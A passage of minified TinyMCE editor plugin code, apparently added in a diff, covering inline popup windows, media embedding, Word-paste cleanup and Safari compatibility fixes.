false;"},"Cancel")}d.add(i+"_middle","div",{"class":"mceIcon"});d.setHTML(i+"_content",r.content.replace("\n","<br />"))}n=a.add(i,"mousedown",function(t){var u=t.target,f,p;f=y.windows[i];y.focus(i);if(u.nodeName=="A"||u.nodeName=="a"){if(u.className=="mceMax"){f.oldPos=f.element.getXY();f.oldSize=f.element.getSize();p=d.getViewPort();p.w-=2;p.h-=2;f.element.moveTo(p.x,p.y);f.element.resizeTo(p.w,p.h);d.setStyles(i+"_ifr",{width:p.w-f.deltaWidth,height:p.h-f.deltaHeight});d.addClass(i+"_wrapper","mceMaximized")}else{if(u.className=="mceMed"){f.element.moveTo(f.oldPos.x,f.oldPos.y);f.element.resizeTo(f.oldSize.w,f.oldSize.h);f.iframeElement.resizeTo(f.oldSize.w-f.deltaWidth,f.oldSize.h-f.deltaHeight);d.removeClass(i+"_wrapper","mceMaximized")}else{if(u.className=="mceMove"){return y._startDrag(i,t,u.className)}else{if(d.hasClass(u,"mceResize")){return y._startDrag(i,t,u.className.substring(13))}}}}}});o=a.add(i,"click",function(f){var p=f.target;y.focus(i);if(p.nodeName=="A"||p.nodeName=="a"){switch(p.className){case"mceClose":y.close(null,i);return a.cancel(f);case"mceButton mceOk":case"mceButton mceCancel":r.button_func(p.className=="mceButton mceOk");return a.cancel(f)}}});v=y.windows[i]={id:i,mousedown_func:n,click_func:o,element:new b(i,{blocker:1,container:q.getContainer()}),iframeElement:new b(i+"_ifr"),features:r,deltaWidth:g,deltaHeight:s};v.iframeElement.on("focus",function(){y.focus(i)});if(y.count==0&&y.editor.getParam("dialog_type","modal")=="modal"){d.add(d.doc.body,"div",{id:"mceModalBlocker","class":(y.editor.settings.inlinepopups_skin||"clearlooks2")+"_modalBlocker",style:{zIndex:y.zIndex-1}});d.show("mceModalBlocker")}else{d.setStyle("mceModalBlocker","z-index",y.zIndex-1)}if(tinymce.isIE6||/Firefox\/2\./.test(navigator.userAgent)||(tinymce.isIE&&!d.boxModel)){d.setStyles("mceModalBlocker",{position:"absolute",left:h.x,top:h.y,width:h.w-2,height:h.h-2})}y.focus(i);y._fixIELayout(i,1);if(d.get(i+"_ok")){d.get(i+"_ok").focus()}y.count++;return v},focus:function(h){var g=this,f;if(f=g.windows[h]){f.zIndex=this.zIndex++;f.element.setStyle("zIndex",f.zIndex);f.element.update();h=h+"_wrapper";d.removeClass(g.lastId,"mceFocus");d.addClass(h,"mceFocus");g.lastId=h}},_addAll:function(k,h){var g,l,f=this,j=tinymce.DOM;if(c(h,"string")){k.appendChild(j.doc.createTextNode(h))}else{if(h.length){k=k.appendChild(j.create(h[0],h[1]));for(g=2;g<h.length;g++){f._addAll(k,h[g])}}}},_startDrag:function(v,G,E){var o=this,u,z,C=d.doc,f,l=o.windows[v],h=l.element,y=h.getXY(),x,q,F,g,A,s,r,j,i,m,k,n,B;g={x:0,y:0};A=d.getViewPort();A.w-=2;A.h-=2;j=G.screenX;i=G.screenY;m=k=n=B=0;u=a.add(C,"mouseup",function(p){a.remove(C,"mouseup",u);a.remove(C,"mousemove",z);if(f){f.remove()}h.moveBy(m,k);h.resizeBy(n,B);q=h.getSize();d.setStyles(v+"_ifr",{width:q.w-l.deltaWidth,height:q.h-l.deltaHeight});o._fixIELayout(v,1);return a.cancel(p)});if(E!="Move"){D()}function D(){if(f){return}o._fixIELayout(v,0);d.add(C.body,"div",{id:"mceEventBlocker","class":"mceEventBlocker "+(o.editor.settings.inlinepopups_skin||"clearlooks2"),style:{zIndex:o.zIndex+1}});if(tinymce.isIE6||(tinymce.isIE&&!d.boxModel)){d.setStyles("mceEventBlocker",{position:"absolute",left:A.x,top:A.y,width:A.w-2,height:A.h-2})}f=new b("mceEventBlocker");f.update();x=h.getXY();q=h.getSize();s=g.x+x.x-A.x;r=g.y+x.y-A.y;d.add(f.get(),"div",{id:"mcePlaceHolder","class":"mcePlaceHolder",style:{left:s,top:r,width:q.w,height:q.h}});F=new b("mcePlaceHolder")}z=a.add(C,"mousemove",function(w){var p,H,t;D();p=w.screenX-j;H=w.screenY-i;switch(E){case"ResizeW":m=p;n=0-p;break;case"ResizeE":n=p;break;case"ResizeN":case"ResizeNW":case"ResizeNE":if(E=="ResizeNW"){m=p;n=0-p}else{if(E=="ResizeNE"){n=p}}k=H;B=0-H;break;case"ResizeS":case"ResizeSW":case"ResizeSE":if(E=="ResizeSW"){m=p;n=0-p}else{if(E=="ResizeSE"){n=p}}B=H;break;case"mceMove":m=p;k=H;break}if(n<(t=l.features.min_width-q.w)){if(m!==0){m+=n-t}n=t}if(B<(t=l.features.min_height-q.h)){if(k!==0){k+=B-t}B=t}n=Math.min(n,l.features.max_width-q.w);B=Math.min(B,l.features.max_height-q.h);m=Math.max(m,A.x-(s+A.x));k=Math.max(k,A.y-(r+A.y));m=Math.min(m,(A.w+A.x)-(s+q.w+A.x));k=Math.min(k,(A.h+A.y)-(r+q.h+A.y));if(m+k!==0){if(s+m<0){m=0}if(r+k<0){k=0}F.moveTo(s+m,r+k)}if(n+B!==0){F.resizeTo(q.w+n,q.h+B)}return a.cancel(w)});return a.cancel(G)},resizeBy:function(g,h,i){var f=this.windows[i];if(f){f.element.resizeBy(g,h);f.iframeElement.resizeBy(g,h)}},close:function(j,l){var h=this,g,k=d.doc,f=0,i,l;l=h._findId(l||j);if(!h.windows[l]){h.parent(j);return}h.count--;if(h.count==0){d.remove("mceModalBlocker")}if(g=h.windows[l]){h.onClose.dispatch(h);a.remove(k,"mousedown",g.mousedownFunc);a.remove(k,"click",g.clickFunc);a.clear(l);a.clear(l+"_ifr");d.setAttrib(l+"_ifr","src",'javascript:""');g.element.remove();delete h.windows[l];e(h.windows,function(m){if(m.zIndex>f){i=m;f=m.zIndex}});if(i){h.focus(i.id)}}},setTitle:function(f,g){var h;f=this._findId(f);if(h=d.get(f+"_title")){h.innerHTML=d.encode(g)}},alert:function(g,f,j){var i=this,h;h=i.open({title:i,type:"alert",button_func:function(k){if(f){f.call(k||i,k)}i.close(null,h.id)},content:d.encode(i.editor.getLang(g,g)),inline:1,width:400,height:130})},confirm:function(g,f,j){var i=this,h;h=i.open({title:i,type:"confirm",button_func:function(k){if(f){f.call(k||i,k)}i.close(null,h.id)},content:d.encode(i.editor.getLang(g,g)),inline:1,width:400,height:130})},_findId:function(f){var g=this;if(typeof(f)=="string"){return f}e(g.windows,function(h){var i=d.get(h.id+"_ifr");if(i&&f==i.contentWindow){f=h.id;return false}});return f},_fixIELayout:function(i,h){var f,g;if(!tinymce.isIE6){return}e(["n","s","w","e","nw","ne","sw","se"],function(j){var k=d.get(i+"_resize_"+j);d.setStyles(k,{width:h?k.clientWidth:"",height:h?k.clientHeight:"",cursor:d.getStyle(k,"cursor",1)});d.setStyle(i+"_bottom","bottom","-1px");k=0});if(f=this.windows[i]){f.element.hide();f.element.show();e(d.select("div,a",i),function(k,j){if(k.currentStyle.backgroundImage!="none"){g=new Image();g.src=k.currentStyle.backgroundImage.replace(/url\(\"(.+)\"\)/,"$1")}});d.get(i).style.filter=""}}});tinymce.PluginManager.add("inlinepopups",tinymce.plugins.InlinePopups)})();
+// plugins/media
+(function(){var a=tinymce.each;tinymce.create("tinymce.plugins.MediaPlugin",{init:function(b,c){var e=this;e.editor=b;e.url=c;function f(g){return/^(mceItemFlash|mceItemShockWave|mceItemWindowsMedia|mceItemQuickTime|mceItemRealMedia)$/.test(g.className)}b.onPreInit.add(function(){b.serializer.addRules("param[name|value|_mce_value]")});b.addCommand("mceMedia",function(){b.windowManager.open({file:c+"/media.htm",width:430+parseInt(b.getLang("media.delta_width",0)),height:470+parseInt(b.getLang("media.delta_height",0)),inline:1},{plugin_url:c})});b.addButton("media",{title:"media.desc",cmd:"mceMedia"});b.onNodeChange.add(function(h,g,i){g.setActive("media",i.nodeName=="IMG"&&f(i))});b.onInit.add(function(){var g={mceItemFlash:"flash",mceItemShockWave:"shockwave",mceItemWindowsMedia:"windowsmedia",mceItemQuickTime:"quicktime",mceItemRealMedia:"realmedia"};b.selection.onSetContent.add(function(){e._spansToImgs(b.getBody())});b.selection.onBeforeSetContent.add(e._objectsToSpans,e);if(b.settings.content_css!==false){b.dom.loadCSS(c+"/css/content.css")}if(b.theme.onResolveName){b.theme.onResolveName.add(function(h,i){if(i.name=="img"){a(g,function(l,j){if(b.dom.hasClass(i.node,j)){i.name=l;i.title=b.dom.getAttrib(i.node,"title");return false}})}})}if(b&&b.plugins.contextmenu){b.plugins.contextmenu.onContextMenu.add(function(i,h,j){if(j.nodeName=="IMG"&&/mceItem(Flash|ShockWave|WindowsMedia|QuickTime|RealMedia)/.test(j.className)){h.add({title:"media.edit",icon:"media",cmd:"mceMedia"})}})}});b.onBeforeSetContent.add(e._objectsToSpans,e);b.onSetContent.add(function(){e._spansToImgs(b.getBody())});b.onPreProcess.add(function(g,i){var h=g.dom;if(i.set){e._spansToImgs(i.node);a(h.select("IMG",i.node),function(k){var j;if(f(k)){j=e._parse(k.title);h.setAttrib(k,"width",h.getAttrib(k,"width",j.width||100));h.setAttrib(k,"height",h.getAttrib(k,"height",j.height||100))}})}if(i.get){a(h.select("IMG",i.node),function(m){var l,j,k;if(g.getParam("media_use_script")){if(f(m)){m.className=m.className.replace(/mceItem/g,"mceTemp")}return}switch(m.className){case"mceItemFlash":l="d27cdb6e-ae6d-11cf-96b8-444553540000";j="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0";k="application/x-shockwave-flash";break;case"mceItemShockWave":l="166b1bca-3f9c-11cf-8075-444553540000";j="http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=8,5,1,0";k="application/x-director";break;case"mceItemWindowsMedia":l=g.getParam("media_wmp6_compatible")?"05589fa1-c356-11ce-bf01-00aa0055595a":"6bf52a52-394a-11d3-b153-00c04f79faa6";j="http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701";k="application/x-mplayer2";break;case"mceItemQuickTime":l="02bf25d5-8c17-4b23-bc80-d3488abddc6b";j="http://www.apple.com/qtactivex/qtplugin.cab#version=6,0,2,0";k="video/quicktime";break;case"mceItemRealMedia":l="cfcdaa03-8be4-11cf-b84b-0020afbbccfa";j="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0";k="audio/x-pn-realaudio-plugin";break}if(l){h.replace(e._buildObj({classid:l,codebase:j,type:k},m),m)}})}});b.onPostProcess.add(function(g,h){h.content=h.content.replace(/_mce_value=/g,"value=")});function d(g,h){h=new RegExp(h+'="([^"]+)"',"g").exec(g);return h?b.dom.decode(h[1]):""}b.onPostProcess.add(function(g,h){if(g.getParam("media_use_script")){h.content=h.content.replace(/<img[^>]+>/g,function(j){var i=d(j,"class");if(/^(mceTempFlash|mceTempShockWave|mceTempWindowsMedia|mceTempQuickTime|mceTempRealMedia)$/.test(i)){at=e._parse(d(j,"title"));at.width=d(j,"width");at.height=d(j,"height");j='<script type="text/javascript">write'+i.substring(7)+"({"+e._serialize(at)+"});<\/script>"}return j})}})},getInfo:function(){return{longname:"Media",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/media",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_objectsToSpans:function(b,e){var c=this,d=e.content;d=d.replace(/<script[^>]*>\s*write(Flash|ShockWave|WindowsMedia|QuickTime|RealMedia)\(\{([^\)]*)\}\);\s*<\/script>/gi,function(g,f,i){var h=c._parse(i);return'<img class="mceItem'+f+'" title="'+b.dom.encode(i)+'" src="'+c.url+'/img/trans.gif" width="'+h.width+'" height="'+h.height+'" />'});d=d.replace(/<object([^>]*)>/gi,'<span class="mceItemObject" $1>');d=d.replace(/<embed([^>]*)\/?>/gi,'<span class="mceItemEmbed" $1></span>');d=d.replace(/<embed([^>]*)>/gi,'<span class="mceItemEmbed" $1>');d=d.replace(/<\/(object)([^>]*)>/gi,"</span>");d=d.replace(/<\/embed>/gi,"");d=d.replace(/<param([^>]*)>/gi,function(g,f){return"<span "+f.replace(/value=/gi,"_mce_value=")+' class="mceItemParam"></span>'});d=d.replace(/\/ class=\"mceItemParam\"><\/span>/gi,'class="mceItemParam"></span>');e.content=d},_buildObj:function(g,h){var d,c=this.editor,f=c.dom,e=this._parse(h.title),b;b=c.getParam("media_strict",true)&&g.type=="application/x-shockwave-flash";e.width=g.width=f.getAttrib(h,"width")||100;e.height=g.height=f.getAttrib(h,"height")||100;if(e.src){e.src=c.convertURL(e.src,"src",h)}if(b){d=f.create("span",{id:e.id,mce_name:"object",type:"application/x-shockwave-flash",data:e.src,style:f.getAttrib(h,"style"),width:g.width,height:g.height})}else{d=f.create("span",{id:e.id,mce_name:"object",classid:"clsid:"+g.classid,style:f.getAttrib(h,"style"),codebase:g.codebase,width:g.width,height:g.height})}a(e,function(j,i){if(!/^(width|height|codebase|classid|id|_cx|_cy)$/.test(i)){if(g.type=="application/x-mplayer2"&&i=="src"&&!e.url){i="url"}if(j){f.add(d,"span",{mce_name:"param",name:i,_mce_value:j})}}});if(!b){f.add(d,"span",tinymce.extend({mce_name:"embed",type:g.type,style:f.getAttrib(h,"style")},e))}return d},_spansToImgs:function(e){var d=this,f=d.editor.dom,b,c;a(f.select("span",e),function(g){if(f.getAttrib(g,"class")=="mceItemObject"){c=f.getAttrib(g,"classid").toLowerCase().replace(/\s+/g,"");switch(c){case"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000":f.replace(d._createImg("mceItemFlash",g),g);break;case"clsid:166b1bca-3f9c-11cf-8075-444553540000":f.replace(d._createImg("mceItemShockWave",g),g);break;case"clsid:6bf52a52-394a-11d3-b153-00c04f79faa6":case"clsid:22d6f312-b0f6-11d0-94ab-0080c74c7e95":case"clsid:05589fa1-c356-11ce-bf01-00aa0055595a":f.replace(d._createImg("mceItemWindowsMedia",g),g);break;case"clsid:02bf25d5-8c17-4b23-bc80-d3488abddc6b":f.replace(d._createImg("mceItemQuickTime",g),g);break;case"clsid:cfcdaa03-8be4-11cf-b84b-0020afbbccfa":f.replace(d._createImg("mceItemRealMedia",g),g);break;default:f.replace(d._createImg("mceItemFlash",g),g)}return}if(f.getAttrib(g,"class")=="mceItemEmbed"){switch(f.getAttrib(g,"type")){case"application/x-shockwave-flash":f.replace(d._createImg("mceItemFlash",g),g);break;case"application/x-director":f.replace(d._createImg("mceItemShockWave",g),g);break;case"application/x-mplayer2":f.replace(d._createImg("mceItemWindowsMedia",g),g);break;case"video/quicktime":f.replace(d._createImg("mceItemQuickTime",g),g);break;case"audio/x-pn-realaudio-plugin":f.replace(d._createImg("mceItemRealMedia",g),g);break;default:f.replace(d._createImg("mceItemFlash",g),g)}}})},_createImg:function(c,h){var b,g=this.editor.dom,f={},e="",d;d=["id","name","width","height","bgcolor","align","flashvars","src","wmode","allowfullscreen","quality"];b=g.create("img",{src:this.url+"/img/trans.gif",width:g.getAttrib(h,"width")||100,height:g.getAttrib(h,"height")||100,style:g.getAttrib(h,"style"),"class":c});a(d,function(i){var j=g.getAttrib(h,i);if(j){f[i]=j}});a(g.select("span",h),function(i){if(g.hasClass(i,"mceItemParam")){f[g.getAttrib(i,"name")]=g.getAttrib(i,"_mce_value")}});if(f.movie){f.src=f.movie;delete f.movie}h=g.select(".mceItemEmbed",h)[0];if(h){a(d,function(i){var j=g.getAttrib(h,i);if(j&&!f[i]){f[i]=j}})}delete f.width;delete f.height;b.title=this._serialize(f);return b},_parse:function(b){return tinymce.util.JSON.parse("{"+b+"}")},_serialize:function(b){return tinymce.util.JSON.serialize(b).replace(/[{}]/g,"")}});tinymce.PluginManager.add("media",tinymce.plugins.MediaPlugin)})();
+// plugins/paste
+(function(){var a=tinymce.each;tinymce.create("tinymce.plugins.PastePlugin",{init:function(c,d){var e=this,b;e.editor=c;e.url=d;e.onPreProcess=new tinymce.util.Dispatcher(e);e.onPostProcess=new tinymce.util.Dispatcher(e);e.onPreProcess.add(e._preProcess);e.onPostProcess.add(e._postProcess);e.onPreProcess.add(function(h,i){c.execCallback("paste_preprocess",h,i)});e.onPostProcess.add(function(h,i){c.execCallback("paste_postprocess",h,i)});function g(i){var k=c.dom,j={content:i};e.onPreProcess.dispatch(e,j);j.node=k.create("div",0,j.content);e.onPostProcess.dispatch(e,j);j.content=c.serializer.serialize(j.node,{getInner:1});if(/<(p|h[1-6]|ul|ol)/.test(j.content)){e._insertBlockContent(c,k,j.content)}else{e._insert(j.content)}}c.addCommand("mceInsertClipboardContent",function(i,h){g(h)});function f(l){var p,k,i,j=c.selection,o=c.dom,h=c.getBody(),m;if(o.get("_mcePaste")){return}p=o.add(h,"div",{id:"_mcePaste"},"&nbsp;");if(h!=c.getDoc().body){m=o.getPos(c.selection.getStart(),h).y}else{m=h.scrollTop}o.setStyles(p,{position:"absolute",left:-10000,top:m,width:1,height:1,overflow:"hidden"});if(tinymce.isIE){i=o.doc.body.createTextRange();i.moveToElementText(p);i.execCommand("Paste");o.remove(p);g(p.innerHTML);return tinymce.dom.Event.cancel(l)}else{k=c.selection.getRng();p=p.firstChild;i=c.getDoc().createRange();i.setStart(p,0);i.setEnd(p,1);j.setRng(i);window.setTimeout(function(){var r=o.get("_mcePaste"),q;r.id="_mceRemoved";o.remove(r);r=o.get("_mcePaste")||r;q=(o.select("> span.Apple-style-span div",r)[0]||o.select("> span.Apple-style-span",r)[0]||r).innerHTML;o.remove(r);if(k){j.setRng(k)}g(q)},0)}}if(c.getParam("paste_auto_cleanup_on_paste",true)){if(tinymce.isOpera||/Firefox\/2/.test(navigator.userAgent)){c.onKeyDown.add(function(h,i){if(((tinymce.isMac?i.metaKey:i.ctrlKey)&&i.keyCode==86)||(i.shiftKey&&i.keyCode==45)){f(i)}})}else{c.onPaste.addToTop(function(h,i){return f(i)})}}if(c.getParam("paste_block_drop")){c.onInit.add(function(){c.dom.bind(c.getBody(),["dragend","dragover","draggesture","dragdrop","drop","drag"],function(h){h.preventDefault();h.stopPropagation();return false})})}e._legacySupport()},getInfo:function(){return{longname:"Paste text/word",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/paste",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_preProcess:function(d,g){var b=this.editor,c=g.content,f,e;function f(h){a(h,function(i){if(i.constructor==RegExp){c=c.replace(i,"")}else{c=c.replace(i[0],i[1])}})}f([/^\s*(&nbsp;)+/g,/(&nbsp;|<br[^>]*>)+\s*$/g]);if(/(class=\"?Mso|style=\"[^\"]*\bmso\-|w:WordDocument)/.test(c)){g.wordContent=true;if(b.getParam("paste_convert_middot_lists",true)){f([[/<!--\[if !supportLists\]-->/gi,"$&__MCE_ITEM__"],[/(<span[^>]+:\s*symbol[^>]+>)/gi,"$1__MCE_ITEM__"],[/(<span[^>]+mso-list:[^>]+>)/gi,"$1__MCE_ITEM__"]])}f([/<!--[\s\S]+?-->/gi,/<\/?(img|font|meta|link|style|div|v:\w+)[^>]*>/gi,/<\\?\?xml[^>]*>/gi,/<\/?o:[^>]*>/gi,/ (id|name|language|type|on\w+|v:\w+)=\"([^\"]*)\"/gi,/ (id|name|language|type|on\w+|v:\w+)=(\w+)/gi,[/<(\/?)s>/gi,"<$1strike>"],/<script[^>]+>[\s\S]*?<\/script>/gi,[/&nbsp;/g,"\u00a0"]]);if(!b.getParam("paste_retain_style_properties")){f([/<\/?(span)[^>]*>/gi])}}e=b.getParam("paste_strip_class_attributes","all");if(e!="none"){if(e=="all"){f([/ class=\"([^\"]*)\"/gi,/ class=(\w+)/gi])}else{f([/ class=\"(mso[^\"]*)\"/gi,/ class=(mso\w+)/gi])}}if(b.getParam("paste_remove_spans")){f([/<\/?(span)[^>]*>/gi])}g.content=c},_postProcess:function(e,g){var d=this,c=d.editor,f=c.dom,b;if(g.wordContent){a(f.select("a",g.node),function(h){if(!h.href||h.href.indexOf("#_Toc")!=-1){f.remove(h,1)}});if(d.editor.getParam("paste_convert_middot_lists",true)){d._convertLists(e,g)}b=c.getParam("paste_retain_style_properties");if(tinymce.is(b,"string")){b=tinymce.explode(b)}a(f.select("*",g.node),function(l){var m={},j=0,k,n,h;if(b){for(k=0;k<b.length;k++){n=b[k];h=f.getStyle(l,n);if(h){m[n]=h;j++}}}f.setAttrib(l,"style","");if(b&&j>0){f.setStyles(l,m)}else{if(l.nodeName=="SPAN"&&!l.className){f.remove(l,true)}}})}if(c.getParam("paste_remove_styles")||(c.getParam("paste_remove_styles_if_webkit")&&tinymce.isWebKit)){a(f.select("*[style]",g.node),function(h){h.removeAttribute("style");h.removeAttribute("mce_style")})}else{if(tinymce.isWebKit){a(f.select("*",g.node),function(h){h.removeAttribute("mce_style")})}}},_convertLists:function(e,c){var g=e.editor.dom,f,j,b=-1,d,k=[],i,h;a(g.select("p",c.node),function(r){var n,s="",q,o,l,m;for(n=r.firstChild;n&&n.nodeType==3;n=n.nextSibling){s+=n.nodeValue}s=r.innerHTML.replace(/<\/?\w+[^>]*>/gi,"").replace(/&nbsp;/g,"\u00a0");if(/^(__MCE_ITEM__)+[\u2022\u00b7\u00a7\u00d8o]\s*\u00a0*/.test(s)){q="ul"}if(/^__MCE_ITEM__\s*\w+\.\s*\u00a0{2,}/.test(s)){q="ol"}if(q){d=parseFloat(r.style.marginLeft||0);if(d>b){k.push(d)}if(!f||q!=i){f=g.create(q);g.insertAfter(f,r)}else{if(d>b){f=j.appendChild(g.create(q))}else{if(d<b){l=tinymce.inArray(k,d);m=g.getParents(f.parentNode,q);f=m[m.length-1-l]||f}}}a(g.select("span",r),function(t){var p=t.innerHTML.replace(/<\/?\w+[^>]*>/gi,"");if(q=="ul"&&/^[\u2022\u00b7\u00a7\u00d8o]/.test(p)){g.remove(t)}else{if(/^[\s\S]*\w+\.(&nbsp;|\u00a0)*\s*/.test(p)){g.remove(t)}}});o=r.innerHTML;if(q=="ul"){o=r.innerHTML.replace(/__MCE_ITEM__/g,"").replace(/^[\u2022\u00b7\u00a7\u00d8o]\s*(&nbsp;|\u00a0)+\s*/,"")}else{o=r.innerHTML.replace(/__MCE_ITEM__/g,"").replace(/^\s*\w+\.(&nbsp;|\u00a0)+\s*/,"")}j=f.appendChild(g.create("li",0,o));g.remove(r);b=d;i=q}else{f=b=0}});h=c.node.innerHTML;if(h.indexOf("__MCE_ITEM__")!=-1){c.node.innerHTML=h.replace(/__MCE_ITEM__/g,"")}},_insertBlockContent:function(h,e,i){var c,g,d=h.selection,m,j,b,k,f;function l(p){var o;if(tinymce.isIE){o=h.getDoc().body.createTextRange();o.moveToElementText(p);o.collapse(false);o.select()}else{d.select(p,1);d.collapse(false)}}this._insert('<span id="_marker">&nbsp;</span>',1);g=e.get("_marker");c=e.getParent(g,"p,h1,h2,h3,h4,h5,h6,ul,ol");if(c){g=e.split(c,g);a(e.create("div",0,i).childNodes,function(o){m=g.parentNode.insertBefore(o.cloneNode(true),g)});l(m)}else{e.setOuterHTML(g,i);d.select(h.getBody(),1);d.collapse(0)}e.remove("_marker");j=d.getStart();b=e.getViewPort(h.getWin());k=h.dom.getPos(j).y;f=j.clientHeight;if(k<b.y||k+f>b.y+b.h){h.getDoc().body.scrollTop=k<b.y?k:k-b.h+25}},_insert:function(d,b){var c=this.editor;if(!c.selection.isCollapsed()){c.getDoc().execCommand("Delete",false,null)}c.execCommand(tinymce.isGecko?"insertHTML":"mceInsertContent",false,d,{skip_undo:b})},_legacySupport:function(){var c=this,b=c.editor;a(["mcePasteText","mcePasteWord"],function(d){b.addCommand(d,function(){b.windowManager.open({file:c.url+(d=="mcePasteText"?"/pastetext.htm":"/pasteword.htm"),width:parseInt(b.getParam("paste_dialog_width","450")),height:parseInt(b.getParam("paste_dialog_height","400")),inline:1})})});b.addButton("pastetext",{title:"paste.paste_text_desc",cmd:"mcePasteText"});b.addButton("pasteword",{title:"paste.paste_word_desc",cmd:"mcePasteWord"});b.addButton("selectall",{title:"paste.selectall_desc",cmd:"selectall"})}});tinymce.PluginManager.add("paste",tinymce.plugins.PastePlugin)})();
+// plugins/safari
+(function(){var a=tinymce.dom.Event,c=tinymce.grep,d=tinymce.each,b=tinymce.inArray;function e(j,i,h){var g,k;g=j.createTreeWalker(i,NodeFilter.SHOW_ALL,null,false);while(k=g.nextNode()){if(h){if(!h(k)){return false}}if(k.nodeType==3&&k.nodeValue&&/[^\s\u00a0]+/.test(k.nodeValue)){return false}if(k.nodeType==1&&/^(HR|IMG|TABLE)$/.test(k.nodeName)){return false}}return true}tinymce.create("tinymce.plugins.Safari",{init:function(f){var g=this,h;if(!tinymce.isWebKit){return}g.editor=f;g.webKitFontSizes=["x-small","small","medium","large","x-large","xx-large","-webkit-xxx-large"];g.namedFontSizes=["xx-small","x-small","small","medium","large","x-large","xx-large"];f.addCommand("CreateLink",function(k,j){var m=f.selection.getNode(),l=f.dom,i;if(m&&(/^(left|right)$/i.test(l.getStyle(m,"float",1))||/^(left|right)$/i.test(l.getAttrib(m,"align")))){i=l.create("a",{href:j},m.cloneNode());m.parentNode.replaceChild(i,m);f.selection.select(i)}else{f.getDoc().execCommand("CreateLink",false,j)}});f.onKeyUp.add(function(j,o){var l,i,m,p,k;if(o.keyCode==46||o.keyCode==8){i=j.getBody();l=i.innerHTML;k=j.selection;if(i.childNodes.length==1&&!/<(img|hr)/.test(l)&&tinymce.trim(l.replace(/<[^>]+>/g,"")).length==0){j.setContent('<p><br mce_bogus="1" /></p>',{format:"raw"});p=i.firstChild;m=k.getRng();m.setStart(p,0);m.setEnd(p,0);k.setRng(m)}}});f.addCommand("FormatBlock",function(j,i){var l=f.dom,k=l.getParent(f.selection.getNode(),l.isBlock);if(k){l.replace(l.create(i),k,1)}else{f.getDoc().execCommand("FormatBlock",false,i)}});f.addCommand("mceInsertContent",function(j,i){f.getDoc().execCommand("InsertText",false,"mce_marker");f.getBody().innerHTML=f.getBody().innerHTML.replace(/mce_marker/g,f.dom.processHTML(i)+'<span id="_mce_tmp">XX</span>');f.selection.select(f.dom.get("_mce_tmp"));f.getDoc().execCommand("Delete",false," ")});f.onKeyPress.add(function(o,p){var q,v,r,l,j,k,i,u,m,t,s;if(p.keyCode==13){i=o.selection;q=i.getNode();if(p.shiftKey||o.settings.force_br_newlines&&q.nodeName!="LI"){g._insertBR(o);a.cancel(p)}if(v=h.getParent(q,"LI")){r=h.getParent(v,"OL,UL");u=o.getDoc();s=h.create("p");h.add(s,"br",{mce_bogus:"1"});if(e(u,v)){if(k=h.getParent(r.parentNode,"LI,OL,UL")){return}k=h.getParent(r,"p,h1,h2,h3,h4,h5,h6,div")||r;l=u.createRange();l.setStartBefore(k);l.setEndBefore(v);j=u.createRange();j.setStartAfter(v);j.setEndAfter(k);m=l.cloneContents();t=j.cloneContents();if(!e(u,t)){h.insertAfter(t,k)}h.insertAfter(s,k);if(!e(u,m)){h.insertAfter(m,k)}h.remove(k);k=s.firstChild;l=u.createRange();l.setStartBefore(k);l.setEndBefore(k);i.setRng(l);return a.cancel(p)}}}});f.onExecCommand.add(function(i,k){var j,m,n,l;if(k=="InsertUnorderedList"||k=="InsertOrderedList"){j=i.selection;m=i.dom;if(n=m.getParent(j.getNode(),function(o){return/^(H[1-6]|P|ADDRESS|PRE)$/.test(o.nodeName)})){l=j.getBookmark();m.remove(n,1);j.moveToBookmark(l)}}});f.onClick.add(function(i,j){j=j.target;if(j.nodeName=="IMG"){g.selElm=j;i.selection.select(j)}else{g.selElm=null}});f.onInit.add(function(){g._fixWebKitSpans()});f.onSetContent.add(function(){h=f.dom;d(["strong","b","em","u","strike","sub","sup","a"],function(i){d(c(h.select(i)).reverse(),function(l){var k=l.nodeName.toLowerCase(),j;if(k=="a"){if(l.name){h.replace(h.create("img",{mce_name:"a",name:l.name,"class":"mceItemAnchor"}),l)}return}switch(k){case"b":case"strong":if(k=="b"){k="strong"}j="font-weight: bold;";break;case"em":j="font-style: italic;";break;case"u":j="text-decoration: underline;";break;case"sub":j="vertical-align: sub;";break;case"sup":j="vertical-align: super;";break;case"strike":j="text-decoration: line-through;";break}h.replace(h.create("span",{mce_name:k,style:j,"class":"Apple-style-span"}),l,1)})})});f.onPreProcess.add(function(i,j){h=i.dom;d(c(j.node.getElementsByTagName("span")).reverse(),function(m){var k,l;if(j.get){if(h.hasClass(m,"Apple-style-span")){l=m.style.backgroundColor;switch(h.getAttrib(m,"mce_name")){case"font":if(!i.settings.convert_fonts_to_spans){h.setAttrib(m,"style","")}break;case"strong":case"em":case"sub":case"sup":h.setAttrib(m,"style","");break;case"strike":case"u":if(!i.settings.inline_styles){h.setAttrib(m,"style","")}else{h.setAttrib(m,"mce_name","")}break;default:if(!i.settings.inline_styles){h.setAttrib(m,"style","")}}if(l){m.style.backgroundColor=l}}}if(h.hasClass(m,"mceItemRemoved")){h.remove(m,1)}})});f.onPostProcess.add(function(i,j){j.content=j.content.replace(/<br \/><\/(h[1-6]|div|p|address|pre)>/g,"</$1>");j.content=j.content.replace(/ id=\"undefined\"/g,"")})},getInfo:function(){return{longname:"Safari compatibility",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/safari",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_fixWebKitSpans:function(){var g=this,f=g.editor;a.add(f.getDoc(),"DOMNodeInserted",function(h){h=h.target;if(h&&h.nodeType==1){g._fixAppleSpan(h)}})},_fixAppleSpan:function(l){var 